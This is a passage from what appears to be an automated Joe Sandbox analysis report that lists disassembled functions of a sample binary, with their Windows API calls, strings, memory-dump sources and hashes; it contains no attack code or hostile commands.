                • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00BDB1AF
                • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00BDB1CD
                  • Part of subcall function 00BCDA8B: LoadStringW.USER32(?,?,00000400,00000000), ref: 00BCDAD5
                  • Part of subcall function 00BCDA8B: LoadStringW.USER32(?,?,00000400), ref: 00BCDAEB
                • _swprintf.LIBCMT ref: 00BDB1FD
                  • Part of subcall function 00BC3F53: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC3F66
                • SetDlgItemTextW.USER32(?,0000006A,?), ref: 00BDB210
                • FindClose.KERNEL32(00000000), ref: 00BDB213
                • _swprintf.LIBCMT ref: 00BDB26E
                • SetDlgItemTextW.USER32(?,00000068,?), ref: 00BDB281
                • SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00BDB297
                • FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00BDB2B7
                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00BDB2C7
                • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00BDB2E1
                • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00BDB2F9
                • _swprintf.LIBCMT ref: 00BDB32A
                • SetDlgItemTextW.USER32(?,0000006B,?), ref: 00BDB33D
                • _swprintf.LIBCMT ref: 00BDB38D
                • SetDlgItemTextW.USER32(?,00000069,?), ref: 00BDB3A0
                  • Part of subcall function 00BD9E0C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00BD9E32
                  • Part of subcall function 00BD9E0C: GetNumberFormatW.KERNEL32(00000400,00000000,?,00BFD600,?,?), ref: 00BD9E81
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLoadLocalStringSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
                • String ID: %s %s$%s %s %s$REPLACEFILEDLG
                • API String ID: 3227067027-1840816070
                • Opcode ID: f6aec286df651b0dcff49a25fd3322e28e12974d963deee6b299e5636c49875e
                • Instruction ID: b27c7bddc16ebd283f1c938cc8e959dec2734c8f4957b6f9280cb1c3c0fc7a1a
                • Opcode Fuzzy Hash: f6aec286df651b0dcff49a25fd3322e28e12974d963deee6b299e5636c49875e
                • Instruction Fuzzy Hash: 51916072648348BBD221DBA0CC89FFBB7ECEB49700F05485AB749D7181EB71A605C762
                Function 00BC70B9 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 299fileCOMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC70BE
                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00BC721E
                • CloseHandle.KERNEL32(00000000), ref: 00BC722E
                  • Part of subcall function 00BC7B08: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BC7B17
                  • Part of subcall function 00BC7B08: GetLastError.KERNEL32 ref: 00BC7B5D
                  • Part of subcall function 00BC7B08: CloseHandle.KERNEL32(?), ref: 00BC7B6C
                • CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00BC7239
                • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00BC7347
                • DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00BC7373
                • CloseHandle.KERNEL32(?), ref: 00BC7385
                • GetLastError.KERNEL32 ref: 00BC7395
                • RemoveDirectoryW.KERNEL32(?), ref: 00BC73E1
                • DeleteFileW.KERNEL32(?), ref: 00BC7409
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
                • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                • API String ID: 3935142422-3508440684
                • Opcode ID: bace7daf1f6858ca2dfa9b5f55b3b5e5e932327fe7c7d429eba58b1c7e4ef38e
                • Instruction ID: e3afc46c8b242e12df109244f35a25704cc39623b59408428481718ddb07b542
                • Opcode Fuzzy Hash: bace7daf1f6858ca2dfa9b5f55b3b5e5e932327fe7c7d429eba58b1c7e4ef38e
                • Instruction Fuzzy Hash: 60B18B719042589BEB21DF74CC85FEEB7E8EF48300F0445ADE959E7282DB34AA45CB60
                Function 00BC320E Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 605COMMON
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog_memcmp
                • String ID: CMT$h%u$hc%u
                • API String ID: 3004599000-3282847064
                • Opcode ID: 689b0d817f993a6c515454c4cd4fef4d6b822bb62d1b603d7b5eab339da4090f
                • Instruction ID: 8917aa3a15ed28c61befb7ff93563ca99af3e9d640b59934ed27daeb2b8a404e
                • Opcode Fuzzy Hash: 689b0d817f993a6c515454c4cd4fef4d6b822bb62d1b603d7b5eab339da4090f
                • Instruction Fuzzy Hash: DE32A2715142849BDF18DF64C895FE93BE5EF54700F4884BEFD8A8B282DB709A49CB60
                Function 00BEC5AE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: __floor_pentium4
                • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                • API String ID: 4168288129-2761157908
                • Opcode ID: 5f571d19afca3c9e19b08396b5c866ef3318294dc179580f85395683ddc2c236
                • Instruction ID: 6d6c175832e0c888018ee5363456ff98d56b5920b82fddc86fc13738427d9ba7
                • Opcode Fuzzy Hash: 5f571d19afca3c9e19b08396b5c866ef3318294dc179580f85395683ddc2c236
                • Instruction Fuzzy Hash: 3BC23972E086688FDB25CE29DD807EAB7F5EB44305F1441EAD84EE7241E774AE818F41
                Function 00BC277D Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 792COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC2786
                • _strlen.LIBCMT ref: 00BC2D0A
                  • Part of subcall function 00BD1006: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00BCB3AF,00000000,?,?,?,000103CC), ref: 00BD1022
                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BC2E61
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
                • String ID: CMT
                • API String ID: 1706572503-2756464174
                • Opcode ID: 09f6f58e527a4effa189b153e82a41bfec594ecbd89c9eedb2714a27658f7ff6
                • Instruction ID: 7efbdfc9dce25a1f78491f56fbce708998c74b0257648ad573abf54119bb909e
                • Opcode Fuzzy Hash: 09f6f58e527a4effa189b153e82a41bfec594ecbd89c9eedb2714a27658f7ff6
                • Instruction Fuzzy Hash: 8462D4719002848FDF18DF68C895FEA3BE1EF64304F0845BEED9A9B286D7719945CB60
                Function 00BE7C57 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00BE7D4F
                • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00BE7D59
                • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00BE7D66
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ExceptionFilterUnhandled$DebuggerPresent
                • String ID:
                • API String ID: 3906539128-0
                • Opcode ID: 78d0397e0d2ba694b74ebb145385d5c79dfeb3de5f0044a8138c70057d32b0e9
                • Instruction ID: 8def361fb5473ec51d21b3b65977ab2b03d2926cf6b84ab8d8ef5a92c09b9fff
                • Opcode Fuzzy Hash: 78d0397e0d2ba694b74ebb145385d5c79dfeb3de5f0044a8138c70057d32b0e9
                • Instruction Fuzzy Hash: CC31B374941218ABCB61EF68DC8979DBBF8EF08310F5045EAE41CA7250EB709B818F44
                Function 00BEA02E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                Download Yara Rule
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID: .
                • API String ID: 0-248832578
                • Opcode ID: c43e208b84d85fefaa9fd3b3483d73bdb905852427e99a21013122138937d2c5
                • Instruction ID: 93e1f0cfcf94df86d2aadc5ebc91f60fd898f35462abc11779af9b95fdfb4ca6
                • Opcode Fuzzy Hash: c43e208b84d85fefaa9fd3b3483d73bdb905852427e99a21013122138937d2c5
                • Instruction Fuzzy Hash: D3310671800189ABCB249E79CC85EFA7BFDDB46304F1041D8E41997292E770AD448B61
                Function 00BEC100 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 018800a6249598ad81d90f5864df6e165ba524167c8a39889b5be4e4d8d1d074
                • Instruction ID: af6e0bf4bef4c49c2a3e0b175613e1bb0affa5500248ba794c56d9ec9b207191
                • Opcode Fuzzy Hash: 018800a6249598ad81d90f5864df6e165ba524167c8a39889b5be4e4d8d1d074
                • Instruction Fuzzy Hash: AD022D71E002199BDF14CFA9C8906ADBBF1EF48314F2581AAD919E7385D731AD42CB94
                Function 00BD9E0C Relevance: 3.0, APIs: 2, Instructions: 46COMMON
                Download Yara Rule
                APIs
                • GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00BD9E32
                • GetNumberFormatW.KERNEL32(00000400,00000000,?,00BFD600,?,?), ref: 00BD9E81
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: FormatInfoLocaleNumber
                • String ID:
                • API String ID: 2169056816-0
                • Opcode ID: 7053be320310797bb9fc5debd6fe52a927eb37d4f576251c7803c137dcf1b621
                • Instruction ID: be9c06bddc14b128d8bfa65a905981160fdf45a60b9b39e2a76343145ddee3ad
                • Opcode Fuzzy Hash: 7053be320310797bb9fc5debd6fe52a927eb37d4f576251c7803c137dcf1b621
                • Instruction Fuzzy Hash: B0015E75500218BADB10CFA4DC45FAB7BBDEF09710F008462FB09E7250E7709924D7A5
                Function 00BC6E20 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON
                Download Yara Rule
                APIs
                • GetLastError.KERNEL32(00BD0E08,?,00000200), ref: 00BC6E20
                • FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00BC6E41
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorFormatLastMessage
                • String ID:
                • API String ID: 3479602957-0
                • Opcode ID: 622abb31e183b319e482f6d19410ac6673b04f8219a8560364e9a7ea46dee734
                • Instruction ID: 322a19fcb601c804794816a662ba25825ee7debd472fb9401dca3546f9d762d2
                • Opcode Fuzzy Hash: 622abb31e183b319e482f6d19410ac6673b04f8219a8560364e9a7ea46dee734
                • Instruction Fuzzy Hash: 5DD0C7353843027EFA114B74CC15F767795A755F41F1085457356DA0D4CD709014D719
                Function 00BF06A4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00BF069F,?,?,00000008,?,?,00BF033F,00000000), ref: 00BF08D1
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ExceptionRaise
                • String ID:
                • API String ID: 3997070919-0
                • Opcode ID: e910270a501ad10b4a53ab9d151460303f667bfbafddeedaf4e14ee72f8f1e92
                • Instruction ID: 297f821279512297d8138555a82285329f3257de1ff4253d090604695cc14903
                • Opcode Fuzzy Hash: e910270a501ad10b4a53ab9d151460303f667bfbafddeedaf4e14ee72f8f1e92
                • Instruction Fuzzy Hash: 3BB169316206089FD714DF2CC48AB647BE0FF44364F298698EA99CF2B2C375E995CB40
                Function 00BC3FBD Relevance: 1.6, Strings: 1, Instructions: 332COMMON
                Download Yara Rule
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID: gj
                • API String ID: 0-4203073231
                • Opcode ID: b21c0fbb0fd2c51c87a41f70f92872a0766167bf8f0eb15fdf2e6e83075c0331
                • Instruction ID: ea520bd5c8bed693079a7f29bbd45890c8ed448eafaca22004810e061fd2a8ed
                • Opcode Fuzzy Hash: b21c0fbb0fd2c51c87a41f70f92872a0766167bf8f0eb15fdf2e6e83075c0331
                • Instruction Fuzzy Hash: 33F1E4B6A083418FC748CF29D880A2AFBE1BFC8208F15892EF598D7715D734E9458F56
                Function 00BCAA39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                Download Yara Rule
                APIs
                • GetVersionExW.KERNEL32(?), ref: 00BCAA5E
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Version
                • String ID:
                • API String ID: 1889659487-0
                • Opcode ID: ce46ba4220af8c71e29ac273da9ff340b56e3cfa1e736eb729fddef2c89586b6
                • Instruction ID: 013c557a5cad7726c3fe21d981ca8b31f8ed06b2433b00c50461f6433098796d
                • Opcode Fuzzy Hash: ce46ba4220af8c71e29ac273da9ff340b56e3cfa1e736eb729fddef2c89586b6
                • Instruction Fuzzy Hash: 38F01DB490021D8BCB18CB28EE81BF977A5F758318F214299EA1543750EB705D40DEA6
                Function 00BDE643 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                Download Yara Rule
                APIs
                • SetUnhandledExceptionFilter.KERNEL32(Function_0001E64F,00BDE0C4), ref: 00BDE648
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ExceptionFilterUnhandled
                • String ID:
                • API String ID: 3192549508-0
                • Opcode ID: da3e3f299d9003b4aca9a922d14e4737b50b0c7228e23b525feba4859e157df1
                • Instruction ID: 6bcd90b3ea354f0227574ffe7fd58e762d88347444347f7d855c31bd207a394e
                • Opcode Fuzzy Hash: da3e3f299d9003b4aca9a922d14e4737b50b0c7228e23b525feba4859e157df1
                • Instruction Fuzzy Hash:
                Function 00BEACFC Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: HeapProcess
                • String ID:
                • API String ID: 54951025-0
                • Opcode ID: d5aed60d4a84b9f8ec47a0f96bd56891469b12286f4c112379dd7d2605f4f659
                • Instruction ID: ed496a772031499fde8c5fe440e4283fe916a9e4ec21d8216c63ebe452f22b0a
                • Opcode Fuzzy Hash: d5aed60d4a84b9f8ec47a0f96bd56891469b12286f4c112379dd7d2605f4f659
                • Instruction Fuzzy Hash: B5A02230A02200CF83008F30EF0A30E3AE8BA00BC2308802AA208C30B0EF30C020CB00
                Function 00BD5911 Relevance: .8, Instructions: 800COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 1559ca55a766eced205777f0cbd48babf2eebb01b9a335437c855069058ddeba
                • Instruction ID: 631cb78c6bfb7bb3e970b6efcea7d38ce9bba86e0b163877f56f5c59023464cd
                • Opcode Fuzzy Hash: 1559ca55a766eced205777f0cbd48babf2eebb01b9a335437c855069058ddeba
                • Instruction Fuzzy Hash: E862D875604B899FCB29DF38C8D0AB9F7E1EF55304F0489AFD89A4B346E634A945C710
                Function 00BD6D4E Relevance: .8, Instructions: 773COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
